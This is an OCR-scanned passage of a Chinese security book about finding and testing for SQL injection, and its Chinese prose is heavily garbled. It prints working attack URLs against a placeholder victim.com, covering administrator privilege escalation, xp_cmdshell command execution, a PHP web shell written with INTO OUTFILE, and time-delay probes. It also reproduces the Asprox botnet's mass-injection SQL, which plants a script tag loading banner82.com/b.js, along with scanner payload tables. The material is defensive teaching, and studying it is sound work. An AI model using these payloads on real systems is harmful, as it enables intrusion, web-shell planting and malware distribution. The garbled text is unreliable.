TR 2 AR A S . B4 TR - 4NER SQL Server g AN
AT 43 £ 438 AR T P ZE R HOBUR, B, BRMNBAPREMEEERA. RIK
H 47 R IE1T— 4 W0 F FizR i UPDATE #E41:

UPDATE users

/* Update table Users */
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SET isadmin=1 /* Add administrator privileges in the application */
WHERE uid=< Your User ID > /* to your user */

T EF AT AE HAVING 1=1 1 GROUP BY H#iARRM 254, LUk REN T

http://www.victim.com/welcome.aspx?user=45; select * from users having 1=1;--

RHRHRE MR, HPESEFIMER. TEDHFILEME GROUP BY FAIRE
H iz fE:

http://www.victim.com/welcome.aspx?user=45; select * from user having 1l=1
GROUP BY uid;--

http://www,victim.com/welcome.aspx?user=45; select * from user having 1=1
GROUP BY uid, user;--

http://www.victim.com/welcome.aspx?user=45; select * from user having 1=1
GROUP BY uid, user,password;--

http://www.victim.com/welcome.aspx?user=45; select * from user having 1=1
GROQUP BY uid, user,password,isadmin;--

HRETFTENF LG, ETREEEBPIRFINE Vicim 2 6] Web AP, S8 %FEA
R URL 0 FFrzrs:

http://www.victim.com/welcome.aspx?uid=45;
UPDATE users SET isadmin=1 WHERE uid=45;--

.
# it AT UPDATE 3% 4) R AR A AR & 450w, —Z B KAEF M WHERE F4.
REPATEN T @Y A 2

http://www.victim.com/welcome.aspx?uid=45; UPDATE users SET isadmin=1

L2156 3 A user AP IFTA LR, X RARNMNAMG TR,
YFAEPATIERS SQL ISR AT aetkrt, EHAHREBBGHER. BATTLIEIN—/ N

INSERT INTC administrators (username, password)
VALUES ('hacker', 'mysecretpassword')

3L 3 2 AR R ARYE AN R ) S A SR AT A R 3R ) . (BRI R44T SELECT 4], MAK T
ERIFTHNBERNGR, Bl Web REBRIEMA LK ILRE. RISHNBF{#H UNION
EAJAIIA NS RPERMEIE. b, 3T SQL Server 3K i, RATLHBRITERIT RS G LM
BE 1 (BB A P A 2B I BUR) .

xp_cmdshell /& SQL Server BB PEAR 528 P — M BA IR, EAFEERIITERME
RYEa4, WATREIGRENT RGN . 3 6 TR IEMMFiIXF I, TR — i
£ £ & EBAIRF T
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htep://www.victim.com/welcome.aspx?uid=45;
exec master..xp_cmdshell 'ping www.google.com';--

BAEBATIEE MySQL e P FI I R AU BEARRAE A £ 480, HBARRTIAEE S RTE KL
FretiF]. BATKEIES - NMEAHER AN ERPRITERRD. 2HADRIHE KB
FEFERARFE W T PR

SELECT '<?php echo shell exec($_GET["cmd"]);?>'
INTO OUTFILE '/var/ www/victim.com/shell.php';--
% SQL WK '<?php echo shell_exec(8_GET/[“cmd”]); ?>"F 5 B #ytH Z /var/www/victim.

com/shell.php SCHH . BAZIAHE A58 RANEA, EHEBRZESLN cmd 1 GET %K
EHFE—MRYERS shell FIMUUBAT. PATHZB A URL 20 F Fiom:

http://www.victim.com/search.php?s=test';

SELECT '<?php echo shell_exec($_GET["cmd"]);?>"'

INTO OUTFILE'/var/www/victim.com/shell.php';--

i1 MySQL 5 Web it 95 281217 76 M — fR 4548 £ BiE4T MySQL 1M 44 2 8 LR,
M4 LR & 1E Web H R FRIE— A RVFHAT AR dr & BI04

http://www.victim.com/shell.php?cmd=ls

6 RN AESFIAZXM AR, EXERE, BNREENREEIX—BSMNE
BEDS KB PHITER SQL RAEMIHLL .
& 2-6 FIH T A TEA L KB ARRFEME.

#£26 BATEASRERRISIEMR

RRFH B T # REE R
“[SQL Statement];— "%[SQL Statement];-- HA- M EFBESH, RiTE4&EN
"[SQL Statement];# ");[SQL Statement];# MySQL—iE A— N FRHE 2, BITELEN
:[SQL Statement];-- ):[SQL Statement];-- EA—IMEFBE, PITEHEN
s[SQL smtcmemj;# J[SQL Statement];# MySQL—iEA- - F B2, IiTEEEN

HEF

Asprox Botnet {89 SQL jEA

18 P W £ (botnet) & —FF by 545 it JAULL AR 69 KA M 44, —BRIL A oA 04269
AL 5 B A R K #949 & 5 & (phishing attack). & %37 B ER 4 K& & 3 5 XIELIR 5
(DoS)* & .
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AR 6 AT A E RS BAEH 1R P Mk ey —3 0. AES I RRK,
EE LA Web R B RH. EXAHAT, XEHITA A BEE Web 35548
B4 Web T, L B4 — A4t & &40 I B 695k & (exploit). o ik &R
HIAT, L% EFH G B R,

ERGTF R XM Rk, RNTRERSE, EF RERAAL—LBTTH
H 47 Web 3 & RIEHLE F4R1F.

Z #i%3t Asprox Trojan &9 %.2 B 6924 —A B IRIHEF M4, I ATAEL
£ G eReE, {2 2008 4 5 AR, 18F M A LA R b RSB A RATiLEY
ik, TixF 4 H mssentr3lexe XM F . EXHR—A SQLEAKEIL, AR
%k %4 F &£ “Microsoft Security Center Extension” TF .

— B R AEAT, THAEA Google Mk 31 H @R EATH GET S-4049.asp
TR EMEFRBEL TR, SHRRDLLE SHT6ES, FRAFHNEANTBY
ARAE A — R HT 8 6) . RAMA— T AR URL:

http://www.victim.com/vulnerable.asp?id=425; DECLARE @s
VARCHAR (4000) ; SET @s=CAST (0x4445434C41524520405420564154243
<snip>

434C415245202075F437572736F72 AS

VARCHAR (4000) ) ; EXEC (@S) ;-- [shortened for brevity]

T @ & AT H & 69 R G AR AL For 2 ARG

DECLARE ;
@T VARCHAR(255), /* wvariable to store the table name */
@C WARCHAR (255) /* wvariable to store the column name */

DECLARE Table Cursor CURSOR
/* declares a DB cursor that will contain */
FOR /* all the table/column pairs for all the */
SELECT a.name,b.name/* user created tables and */
FROM syscbijects a, syscolumns b
/* columns typed text(35), ntext (99), varchar(167) */
/* or sysname(231) */
WHERE a.id=b.id AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231
OR b.xtype=167)

OPEN Table Cursor /* Opens the cursor */

FETCH NEXT FROM Table Cursor INTO @T ,@C

/* Fetches the first result*/

WHILE (GRFETCH STATUS=0) /* Enters in a loop for every fow */
BEGIN EXEC('UPDATE ['+@T"] SET

/* Updates every colum and appends */

{'+@C+']=RTRIM(CONVERT(VARCHAR(SOOO},['+@C+']))+

/* a string pointing to a malicious */

"<acript sre=http://www.banner82.com/b.js></script>""')
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/* javascript file */

FETCH NEXT FROM Table Cursor INTO @T,@C

/* Fetches next resul_t i

END

CLOSE Table Cursor /* Close the cursor */

DEALLOCATE ;able__Cursor /* Deallocates the cursor */

LiE AR i Ao — A <scriptARit R EHBAEEG AR, o RAE Web Al LR 7
G T A BT REMARK), 7 FI2deiX JavaScript LA R TR LS F.

EKE 6 B GRS F Web IR 538 F-8 14580435 49 HTML XA & €,4—/ JavaScript
XA, BIXHESRERES 5T AT HNA GG KB P R FTLE 694848,

o R T MX T Asprox 4§ £ $ 15 &, #1519 F %] URL:

e www.toorcon.org/tcx/18_Brown.pdf

e xanalysis.blogspot.com/2008/05/asprox-trojan-and-banner82com.html

234 HEIER

AN AR EFLE SQL EARFER, L% RIAF—BENRFAELRIN. XARETS
FEE, EEEREND Web MR B REFAHR, HifiLERREMALIE.

XX FES, BERRRAIE, SR EE AR TR R AR & B R 2 A b DL IR
SIREHE . WRERR—FRBKBIAR, Web R4 28 RART LB R KE, HLAE
HBERERME SR, FHUATHERBINREFE SQL EA. ZRARKLEEEE.

Microsoft SQL R B & — & R EMIIAZEEN N EMS: WATFOR DELAY
'hours:minutes:seconds’s B, T[] Victim 2 6] B Web i 5528 2% T FiE R KHEALE 5 #:

http://www.victim.com/basket.aspx?uid=45; waitfor delay '0:0:5";--

PR 5528 W Y. P (O FE AR AF B AT AR BATTIE7E 7S & BB FEE A SQL AAS.

MySQL ¥(#E 8 #1 5 WAITFOR DELAY 54 i€, (58T LA P47 B TR 1 BR 40
¥5| A\ZEIR . BENCHMARK BF $(R 1R 7 #93%3% . MySQL ) BENCHMARK R LW —& &K
KPITHB KR, BEFEHHFIPNT MySQL ITRARXMEE . RIERE B LIEARFHT AR
HHAR, BEEFENNAIESEHRAR, BMREEEHEHEE, MR ZERRRGE
. HE T EABEIF:

mysqgl> SELECT BENCHMARK (10000000,ENCODE ('hello’, 'mom"));

e e e +
| BENCHMARK (10000000, ENCODE ( 'hello', 'mom’) ) |
o - +
10 !
e e +

1 row in set (3.65 sec)
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BATZEWIER T 3.65 B. W RAIXEAMEANE SQL IEARAS, IAKERRE %
MR, WRARH B EERWIN, REMIERKKEEN o], iR

http://www.victim.com/display.php?id=32; SELECT
BENCHMARK (10000000, ENCODE ('hello', 'mom') ) ; -~

7E Oracle PL/SQL 1, AJ{#H FHIfE4 % E)RIER:

BEGIN
DBMS LOCK.SLEEP(5);
END;

DBMS_LOCK.SLEEP(O) R H{r] LIik — N FEARIRIBR £ 8, B{ER ZREFEITSRE. &
%, AEEEERZREGEANSFEMP, HEA Oracle AL FrHEIER Hi(stacked query). FH K,
BB EE R A {5 H DBMS_LOCK {4,

FSEM 53 MFHETHBEMEAR” — A HIEW KB R E T LRI A

2.4 A 3HhFHK SQL EAN

BERAIE, AZANHT S THFH Web NS SQL EARINMEAR. B &
=AMMESE

o RREEERIA

o TEAKGE

o Ky PUma N ) S E

AT A A WATE R H B b i% I RE, {54 L0 0] B N T A E . BRI A T
CLEIMLIRNE, BRI KEEE Web 3 5T GET & POST ik, HIFFEABW L HB%E
B B E—BrBESIRE T RXE R R EAFAEER. BEAEAZIHR SQL AWK, F
B o) AE TRy F2 A 45 28 Y R ) 7

XFAKBE, KXo MERUASREMEERENREIEERS: BXTTEFRR, ERERIH)
S, fRradRE .

AT, N AT CAR 2 5 A 20 508 e A A T HR

o  Web N &[H i B3R =4 H) SQL F R

e Web N HIR[A] HTTP 500 £i%

o —HSQLHEHA

{AXT FHEAMES, N RAERNFARNRR, mERTREHINGRE. Kk, i€
EHAR AR SQL MR R ERF ML i EE

B0, MR SQL FEARFE, BEAR—ATRRE. NHEBARSH, BE
] bug hRMAGRT K. &E Web NMAR, AT URSNZIMRE o] fEfF e ERTRIN . Z BT
PL&ixtt, RENBRMGEMENA, E3T BaeB TRRE, SRR — M.

BATRT LUR A 5 U151 H Web N ok 5E 2B 4y, Hin Q% R T “Beta release
—we are still testing” XFHFRE. RIE, HXTTRIARBMARL R, BAOLNTEHE
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EEZHLRKEAA B .

sesh, ZREVRRA, B RS TS ARE. fl, FEERLSERMA B
WEMATE, XNREFREN KL EMAFBITRIE. EMREAR b A E>~4E K,
H BRF)EHS B TUE EOXH AP TRA e, REt SQL BHWEM, AU RDZBAT
BiE, RARFRESANENRETERE.

MFH—rTE, B TREBRRGUEFEHAT]. ENRRAIERE Web NAHEZH,
{ERZNT] AR R R ARR H P BB ERREA R, X — AR AR EIR .

B#F# SQLIFANMIR

AR A R T TR SQL FEARFAKBL L TR, FESNARLERREFA
MTH,

1. HP Weblnspect

Weblnspect & —FKH Hewlett-Packard FFRFIEINL TR, HARHERHERI SQL FAK
TR, EHIELHORTHIFE Web MR ZeM. RTARBERMEMERMIR, AT
R F R 45 28 70 Web A 24T e85, WA AR ERRR. E 2-17 2R THRET
i R

Weblnspect RN AT RIZBBNHKSE, MR QFEREEIEEAXSS), TR
. SQL A, BERLGIENEENMNITARBNRIF. ETLUER Weblnspect 5’5 —4
PRR AR P B 4 I UF R H Al T #2 . Weblnspect $24E T 4 R £ 43 50UEH1%]: Basic. NTLM.
Digest fil Kerberos. Weblnspect i& A] LA 47 JavaScript 1 Flash 2%, RESSHIA Web 2.0 Hi R,

B 1P Welinspe

......

.......

et

2-17 HP Weblnspect

*tF SQL yEAN, Weblnspect FERAISHMEFRIBSBER FHELERBFRELEEN
TH. F2-7 5| 7 Weblnspect iR 5 SQL iF AR AN RIXEFIENFFFE.
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% 2-7 Weblnspect iR8I SQL ¥ i & F RY4FIEE

ML F B

value' OR

value' OR 5=5 OR 's'='0

value' AND 5=5 OR 's'="0

value' OR 5=0 OR 's'="0

value' AND 5=0 OR 's'="0

(Hvalue

value AND 5=5

value AND 5=0

value OR 5=5 OR 4=0

value OR 5=0 OR 4=0

WeblInspect P A —A~4& A& SQL Injector ) TR, AIEEEXRFAHPA#EE S RIM SQL
HEARF. SQL Injector & MR IR R REFE ML, HUAERAR T RSP .
URL : https://h10078.www1.hp.com/cda/hpms/display/main/hpms_content.jsp?zn=bto&cp
=1-11-201-200"9570_4000 100_.

T FHE S . Microsoft Windows XP Professional SP2. Microsoft Windows 2003,
Microsoft Windows Vista.

FER: Microsoft NET 2.0 2% 3.0, Microsoft SQL Server 2005 &}, Microsoft SQL Server
Express SP1. Adobe Acrobat Reader 7 {5 /i 4%, Internet Explorer 6.0 BR 5 AR 4.

2

AppScan &7 —#KF T VP4 Web ¥ 22BN TR, &7 SQL EAVHETIRE. &% T
AiZ47 )75 Weblnspect AHEL: 187 BAR Web 3 AT KV E K 7ERMTF BX. AppScan
BRI HH 3 KR SQL AR AT SQL Hik i, 5 WebInspect AFIAIR, ©AEEF AR
TH. #2-8FiH7T AppScan ZET UL RIEKTEANFR & .

rig: 5] EBK.
. IBM Rational AppScan

% 2-8  AppScan 323 SQL X% iR KHE R 45IEE

PR
WF 'SQL "Probe;A-B "+'somechars ! ‘and
‘barfoo'="foobar')--
having 1=1-- somechars'+' . ‘and
'barfoo’='foobar
1 having 1=1-- somechars'|| ) ‘or'foobar'="foobar"--
Vhaving 1=1-- ''somechars v ‘or'foobar'="foobar’)--
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(&R

ik PR
)having 1=1-- " 5 ‘and

'foobar'="foobar
%aS5'having 1=1-- or 7659=7659 \" ‘and

'foobar'="foobar--
[vol and 7965=7965 " ‘exec master..

xp cmdshell 'vol'--
"'vol and 0=7965 " ":select * from dbo.sysdatabases--
""vol [**/or/**/7965=T965 ‘or'foobar'='foobar ";select @@ version,1,1,1--
[lvol /**fand/**/7965=7965 'and'foobar'="foobar ":select * from master. . .sysmessages—
I /**[and/**/0=7965 'and'foobar'="foobar-- | ';select * from sys.dba_users--

AppScan FIRESRAE T FIBFINRER R AT B S RIEEIE. X FEEIXRHESR
9 HTTP 1 NTLM S8R UE LR 2 F 5HE .

AppScan 4t T — M IERH A B I—RERR IR WA LY, WTEMERARER
SZWI, RIFL. FREMEE )M E— BRRETIR. 25, AppScan ¥ZX MK LR
T P eh iy ) 3 B LSRR K P A EIRB IR R, DAHSR R I FE MR SRR Tt iR .

& 2-18 & —1§ AppScan 32 P B E.

Be Ed Yew on  Took Heb
B3 E S 0w - Orame Fruuicas

T e T —
| 2 4 by fdema testfre ret/ [65)

@ @ CrossSike Seaphng 18]
@ @ D0M Based Cros+-Site Scapiing (1]
3 @ HTTP Responge Splitng 1]
& @ S0Linjecton {10
@ it/ comao. tastive.net! 1)
i/ dema lestfue. net/benkflogn atox (2]

Remmdigtion Tasks

£

Applcation Data

4 Adveay | 3] P Reconmendation | #% Reausst/Aesporss |

B Show in Browser 558 Report False Postve [y Manwusi Test. 3 Delets ariant @ set a5 Non-vidnarable
varart: 4 bofes - P |
5/ POST bank dogin.aspx HTTPAS
|| coomie: langs,

Original | swp I} | [Evies shoain ] ol

e -

. ASP.
| SCOTEIES, amiiserkd

MET

=1001 16014

Aceept: '

Aceapt Lanpuage; or-LS

Uner-Agent: Maziini { (compatible, MSE 6.0, win32)
o

L usdejamith’ Spassw=Demal 234

| HTTPA.1 580 internal Server Errar
Content-Length: 5116

| Connection:

chase
| Date: A7 Jan 2009 181507 GMT
Server: Morosol 158 0

B 2-18 IBM Rational AppScan
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e URL: www-01.ibm.com/software/awdtools/appscan/.

e STRFMFA: Microsoft Windows XP Professional SP2. Microsoft Windows 2003.
Microsoft Windows Vista.

e ER: Microsoft NET 2.0 &% 3.0(F T34 A ¥ AP INTH&E). Adobe Flash Player Version
9.0.124.0 ELE F AR A . Internet Explorer 6.0 8% 5 B iR A,

o % 5 WAk

3. HP Scrawir

Scrawlr & i HP Web &2 51 /N4 (HP Web Security Research Group)FF % i — &k %% T A.
Scrawlr R 185 1 URL F4 784 Web T IS UUME T 4R SQL HEARIA.

HTTP #RE—FRR Web HEH RHASTEH S M Web MMM, ZIRMERR SN
AEMMRAIH R L, BB Web 35 AP AREN AR RIIE. XEERE Web PE4E
THREIEES Web Wi B RIGRTIERTANFRIIMEEILE, % TES, Web iF
A LRESFHSEGERULSEAREH.

WIN\ URL H 81 Start J5, /P EFFMAEE B AR Web 3 SO BAT FHUBRME LR T SQL 3
AW, MEERE, BLAAPERER, WE 2-19 Fix.

File  Settings Help
URL of site to Scan— -

e i E——— - i (crw
¢ Reslts
[ @ osivmnvctncon® | Viiosable Pege Parameter info DB Name
e o —— E ;
] PN (- tp: 7/ www. victim_com 80
& messages | /showgoducts asp?categany=bikes category Confimned verbose  victim
howpeaduct aspTid=1 | sat duct aspTide] id Confimed veibose  victim
| . aep Puid=45 uid Confimed veribote  victim
|
|
|
|
|
| e i

ft mnmm llllllIllIIIIIillllllllIllllllIIIIIIlllllllllllllllllllll:] U0 | .

 Loam More

i SﬂMMIMMSQLImmmnmmmannthmiﬂ 5
i L] ctawd and does nol suppoit sites requiing suthenibcation. To leam more about SGL Injection or to dowrlosd & free

1 wdupmmmmmmmunsw

b Dowriond a free hial of 'webl Devh o Qélnspect

sk the HP Application S ecuity Commerity blocs and discussio
Lean mote sbout SO Inesction  Appbcation Secusty Center

P 2-19 HP Scrawlr

ZLANHEEMBARDN, REHABEIRMOBLAERNT. BFZTARMIER
XHFIFIEIE Web 54, BITIA Sl it e kAR & M T E S 52 . R ERRN R E
REZIUEAHATE, BAWRSITELTERIT, EMERTEETIR.

Scrawlr RYIRK GET B%, FLh Web 3 i F (15T R AR B R ZIIR, TR 4 A5
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B R. FHEFIHT Scrawlr ()5 FR4:
o EEEEIEE 1500 4 URL
R FE P T A AT
&I FE P Flash T
BRI P LRI (TE POST %)
R Ff e
T 5 IR B F Ih
KT SQL i
Scrawlr ZE T B HRE=AFEANFEFH S, 0F 2-9 Fix,

R 2-9  Scrawlr 25 SQL ¥ K8 8 {8 FH R4S HE(E

AR F S
value' OR
value' AND 5=5 OR 's'="0

number-0

Scrawlr ABIFITFAIE) SQL HEASEIR, BIARS 2% [FH HTTP 500 fREZT, e TH#
I PEIR [P R R T B
e URL: https://h30406.www3.hp.com/campaigns/2008/wwwcampaign/1 -57C4K/index.php?
mec=DNXA&jumpid=in_r11374_us/en/large/tsg/wl_0908 scrawl r_redirect/mcc_DNXA.
o CFMFA: Microsoft Windows.
o Hrig: ﬁﬁ’ e

4. 8QLiX

SQLiX & —iKH Cedric Cochin 435 (1% 29 Perl FF. BR— /422, BE65I8E Web
U FOFRL R SQL {E A RAAN SQL Bk iiA. & 2-20 BR T —4 7.

Hle Eda \iew Terminal Tags Help

B 2-20 SQLiX
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7EE 2-20 7, SQLIiX 1F R R HWK Victim 2 5] ) Web 34 47

perl SQLiX.pl —-crawl=" http://www.victim.com/"-all -exploit

MBE AR, SQLIX #% I Victim 24 7)) Web 3 01 3F AZI AL T JLAS SQL iR
. BT R 7 — MR T3 e A5 28NS M RIER Y. SQLIX ANEHT HTML #
B, T2 B3h%iE POST iFK.

SQLiX AJ LA S ] i 5 AN T 11 (£ -url B FF), th a] LA 7 S0 s i — & %1) URL(E S
-file BHHFHBEATRNA. SQLIX ETFF(EH fh — 4T WA ETR: -refer. -agent Fl-cookies, 435I
T Referer. I UHEFN cookie SkAE MBERTFEAEE,

& 2-10 5T SQLIX 7 FHUS R FHE AN ER 5.

3 2-10  SQLIX i85 SQL i iR {E F A4S iEE

PR FF B
%027 1 value' AND'1'="]
convert(varchar,0x7b5d) %2527 value/**/ value'AND'1'=0
convert(int,convert(varchar,0x7b5d)) B value/*!a*/ value'+'s'+'
“+convert(varchar,0x7b5d) +' %22 value'/**/ value'||'s'|’
“+convert(int,convert(varchar,0x7b5d))+ value' value'/*la*/" value+1
User value& value AND [=1 value'+1+'0
value&myVAR=1234 value AND 1=0
e URL: www.owasp.org/index.php/Category:OWASP SQLiX Project.
o STHHIFR: A Perl RS HMILTFE.
e EK: Perl.
o Uri%: B,
5. Paros Proxy

Paros Proxy &—zKk Web 1P TR, BFEHTF3HiAT web RE. EEREBHAG, A
1R Web JI L2515 K, AT LBRYARIZLS RS 25 B

Paros Proxy & — A EK) Web L, FRA spider. RFEA i B/RTE Sites FRE
144 3 By Spider BNR[E A Z TR . &0 AR E —MATHRRRIER UK. B Start /5,
Paros K FFRATRAT I R R 1 .

BLEE, Sites FrAE T HIEHA THE S BRHA ORI . AREFBENRME LIt
Analyse|Scan BI7]. P& 2-21 B8 T $34 Vietim 2 & Web 35 s FHATIH 5L
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HTTP/1.1 500 Internal Server Error
IDate: Fri, 13 Feb 2008 21:13.07 GMT
Server. Microsoft-H5/6.0

GET:showproduct.asp(id)
GET:showproducts. asp{category)
b admin

b messages

[Se1-Cookie: ASPSHS!ONIDSEQCRCDD-)KNN(POCC!]HBPMME; paths=/
{Cache-comrol private

<font face ="Arial size=2>

<p>Microsoft OLE DB Provider for ODBC Drivers < ffont> <font face="Afial size=2 >error ‘8O0
i0eld' < ffont>

<p>

<font face="Arial" size =2 > [Microsoft | ODBC SQL Server Driver}{SQL Server]Line 1 Incorrect synt
fax near INJECTED _PARAM' < ffont>

<p>

(fom face="Arlar" size=2 > fadmin/index. asp < /font> <font face="Arial" size=2>, line 16 </fom
>

v Alerts
= High
< SQL injection

http:/fwww.victim, comiadmin/index. asp

http: /www.victim, g aspTuid=45'INJECTED_PARAM
httpui tim. ¢ howproduct. asp?id=1"INJECTED_PARAM
D llgssass victio com ducts aso?catenocusbikesUMECTED PARAM

&l 2-21 Paros Proxy

Alerts FREREHE O P2 EREIRHKZL MM, Paros Proxy A7 LAHliX GET 1 POST
WK H—BU, TR SQL BHRI, XTSRRIt S A%,
& 2-11 FIH T TRERMIREFE.

% 2-11__Paros Proxy i) SQL SRR A4S E

MNiRFHF R

'INJECTED_PARAM 1, '0);waitfor delay'0:0:15';-- | 1, '0, '0', '0', '0";waitfor | 'OR'l'=]'
delay '0:0:15';--

",waitfor delay '0:0:15;— 1, '0", '07; waitfor delay | 1 AND 1=l 1 "AND "1"="1
'0:0:15";--

;waitfor delay '0:0:15;-- 1, '0% '0%; waitfor delay | 1 AND I=2 1 "AND "1"="2
'0:0:15";--

";waitfor delay '0:0:15:-- 1, '0', '0'0"; waitfor delay | 1 OR 1=I 1 "OR *1"="1
'0:0:15";--

);waitfor delay '0:0:15;-- L, '0%, '0','0"); waitfor delay | 'AND'1'="1
'0:0:15";--

1%, '0');waitfor delay '0:0:15;— [ 1, '0', '0''0", '0"): waitfor | 'AND'l'=?
delay '0:0:15';--
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URL: www. parosproxy.org/.

FHHFES: T Java HENMIFES.

F3k: Java i24T ¥ 85(Java Runtime Environment, JRE)1.4(Z%E FRA).
frig: ®it.

25 ARFE|%

BARRIIAIA SQL EA, B R FIWAIG S 5 TBEHKHS, dERBITEN. £
M= EEWANG T T SQL AR, IR THEXMNNSR.

Web AR -—Fh P/ 55 a8 484, P RIWIAR2 % o, Web NARIRS 2. AZA
BT G078 1L BRI S AS A% 4 R 55 AR B B Rk . SQL SHRFNRBIWEI . AR I A
PHERAFREROFER, JHRRRENERERRETEAMHE. BT, MRS SR
PEIR [FI B RR SR M B Web 13K, T L2000 F U OGR4 W5 Bk UV,

—H RN, 0T LS RERE L Web N ATHIARIEA SQL A%, T REM
KR M — T EIERT) SQL R, WIlE BMEAKERZE RN, HH BB
FENFTA IR UG TE A AR REBAT) LL R B0 40 2 OB e BT FTANE . X B BUR R
A — R R B 5 B A

TR 2 WL AT B G R AT LA B 304K SQL IR . X TR AR EIFF#E SQL # 1R i1
Di, SXLCHAEE BERT IR 18 R U, B 0 SRR B Al R U B E CRIARAR), BTN
STEAM. Msh, G0 T RER RGE GET EKINKL, X ALK POST & RAE IR

26 HRMBEFER

1. F# SQLEAN

o FHR SQL EANRMAEAE=AKEA: 1) 8 Web N A BEWIHEIERA, 2) Bl@A
HUAEERAFRTE, 3) MRS HERKFE.

o fiEH] Web AREEf AN TRABMTHRIIR Ui fREl, TEEHIRIELRE BIER.
BEAh, AL B F AR S AR WA R AT LR, SR SE AW B MR I AL (R B
7t Web WIS 2% L, IR AR A BUE]).

o ERHHEAHNREL HTTP SR K5 48 W ROE H B PR UM SQL A TRiR X
BE. ANt SQL H AL Ff BAE S A AR (0] 87 42 £ 1R 1 e A IR AU 50K -

2. MiA SQL EA

o ZAHWHIA-—A SQL EANRFF S — AR, HEMIE FRIEA SQL MHH
SRULE R G — 4B HE IE R SQL B4, 2 J5 th 303 2 AR 45 83 AT 0 E ) HANIR[F)
fEfTER .

o GIEBEIEFMKIEWE, AL IEEINERRET AR, N TXMER, BETUE
L FRHEEAER SQL ARG & BB FE S IAT £ 415 1), BT SHIT B
(B PREE I BE S

e o @ o
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o HHF, NHXEANSRMEREEISEALA T RMER. Xuar Lo sk 8 8 R e sE
FINFEIRRBNTEN - N AR5 2R S5 R BRI, BATTN AT AR R & 17 A i -
Sof FIX PG UL, 5 28 ROIR B P 2% F1 ik 55 4 T AF S ff Al R X SEIR S At T4
3. BRI SQL EA

o T3k SQL ENRIF T X HIBRAE AT APHEE H 30k, HT BRI KA Web #5511,
A BARFEEEA, ATHEZRHNBARATRTBELERMNELELFENRR, T6e

S EBMLE TR,
o HEBHMW T HRuTLIX Web Ui i {1558 L AT VP, & AT LLBET SQL AR
IR

o TWIEFEARI. JTTIER T BB ARES i SQL AR TAE L.
2.7 FIREMBE

jaIfE: B4 HTH Web N5 ZE] SQL iEAHE?

MRE: AR, SQL AR 2 HINAE VS n) B8 PE AR A AR o o 5N Y R AT 4] #dis P
MAEASZE] SQL ENTd - BIE I FH R T AR, A AMRE R 5 2 2 5 i,
EIRERNEEY.

B [ Web NMARMRMGEMA—NRIISH, RAT PMHEHRR: BIER
WEHEATER . %N R E A ?

RE: XEAKRBAES . MRFLIEHXE—A SQL AR, HSAi%N 7T LA
WA BMEE AR PR R R R, Sl IR . WilEHE 3 SQL iBHIM
WSS M, BRELNSGN . RETER, 2oUEERLTEIT.

BIE: SQL ¥ AFI SQL HiFk 112 5?

RRE: fEH M SQL A, BV AR [ H0HE Fh rBE JF RIS . TI7E SQL HiF i,
15 R AR A SN, B R B AN AN AR

e At A ER SQL HEMA Baik, AT ERHE M SQL A BahL?

fRE: A SQL B E MiLFE Web ks 8 &% 5 8L 6 MERRLEIFAN T .
h BORBRE RS B e R A B, WREEREEE IR, ERF AN
SRR B LASE M

BlER: AT IR SQL AN LB EHE 7

fRE: Web NI AR P R 0L A8 BEAT 78 40 8 23 A0 (BR) A 0t i H EAT 4R A5 22 7 4 1) R K
FEFHE, A, Brdid i a] ORI Al ), L RO R B R 4R SE R
WRER DN A, 2T IX LS ) B T LA -

B BOSRRIFEEINT A SQL BiERIF, EFHHNRFFAIM TR EAEE.

fRE: SQL BEBRINBREWAAR, HNRA K TREEMNAS K. HHAZE
A" FEHESE B TR CIEMRCE . QR TROAREM, Ba@3UER G TR
AR FAR 3 75 R LLSE ) o
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3.1 ik

EHEERIFZFHEER SQL EA, BRI IERIBERFHOFERT. mREFRE
LI RO R A SQL EAMR TRIFFR A RCGXFMFSLERIT LI, EHESEN
R AR, AT IR — .

T i R A A AL AT LA B RS LN 25 A s I AE R AT 7 50 W A KB R: X
L E W BT A BV EER BB IRT AL I BIAR . BE FER BER IR AT B A P 2 AT 2 S AT 1 OE
PRI IS, T4k SQL A bug i, fURSE A A R S iXAE Pk .

FENRERF T ER SQL FEAN MEF RIS, BRI TER R WL
BHRERMA, X223 SQL HEASBRKCHHERS., BT FHEARSN, RIMNTENTHA
HEEHFARSH RN TR, LEAERXE T RniE S i #2 a0 m 6.

32 HAFERARATPEH SQL EA

TR E BB % BARBEMTRS BRI BERBTRIEES
PR K R AR ERATRIG. SERWSVT R IBEREIT R Pt KB T . F
e AR 7 A R FE X AR AT BEAT B 2 LAUR B A IR . (EX TR RE27AMEM AR
ki, BFARAs TR0, EEEARTTHR, RABESIENENES. ARRiZR
B, AT RAREESMS TERBEA, s 0H &I A T RAEAE RS T EKH
Bh5e ok BB RR RS I AT 55 .

BEEMANNNRBRGEMNZ, X HREE. AMNEENEFEEMHFII T aeR S
PR M AR . AEAA-EE ik ORI S22 3 RIS h H AR . 2R REHE 2 AT
HFREEIF BRI RS 2R R PEIEEHANTER, WARTERAESZELR). RS
EOUIE AT A 2 3 e s ) 2 B A\ BTTF o B0 R ) 2 e ) O AT 1Ak . ZEFRFR B R I A
B, ZRENEELSSIRBEN LS E. X528 A B AE A S (sink).

AEE SQL EARRKESE S, BAVBIEAN SF % 2BUK (security-sensitive) R AL, 145K
¥R FRATE S EHREN SQL iE4A]. AH/DNEEIEMEE, BN E A RBNBERNBANS.
XIFAE S AN 8, RO PR FEE 5 B3R T IR B A H M Jr ok M F 4T SQL #EAJ(“3.2.2
fER RS — TS NTI RO ). WURRE T —MMBA KR, WUEREE AT REFFAE SQL ¥F
A KBEIER 28— 5 0 i A AR LA g R B A EEARI. WHE Web 25
RN B IR NIB N (— R P 4 52 B P B0 i 42, Hhfll Web R EL, cookie. HiIA
@%{’—“‘F)t&émﬁ{#iﬁ SQL 5 (1% 25 #) 76 H0F FE Bl 45 8¢ LT Z B St HBETHAF, F4

EHESTR SQL {ENRF. T HEH PHP AAHSAT 3B 11X I8 @4«

Sresult=mysqgl query("SELECT * FROM table WHERE column='$_GET["param"]' ");

FRARIBRAES SR SQLIEAN, BB EEGH M MAEBY T 3N SQL iEH),
I LZE A RE LR UE AT -

LZHEHRT, HACRHPAT SQL A REFAREBNERNEE 2, FAATHER
A 5 W MNAESAT R BT A I . B, TR PHP AAMTAFAERE RN, (B0 AE



#I3E EFRLPASALIEAN T3
WE, BIARRNIIFASNESparam 28 @2 5 Z B QLA CIEAL B4 AL AT R B S KAE:
$result=mysgl_query("SELECT * FROM table WHERE column='$param' ");

AR R A AR, (T B R BN A B A PRI D) G AR N A o U7 1) B H R
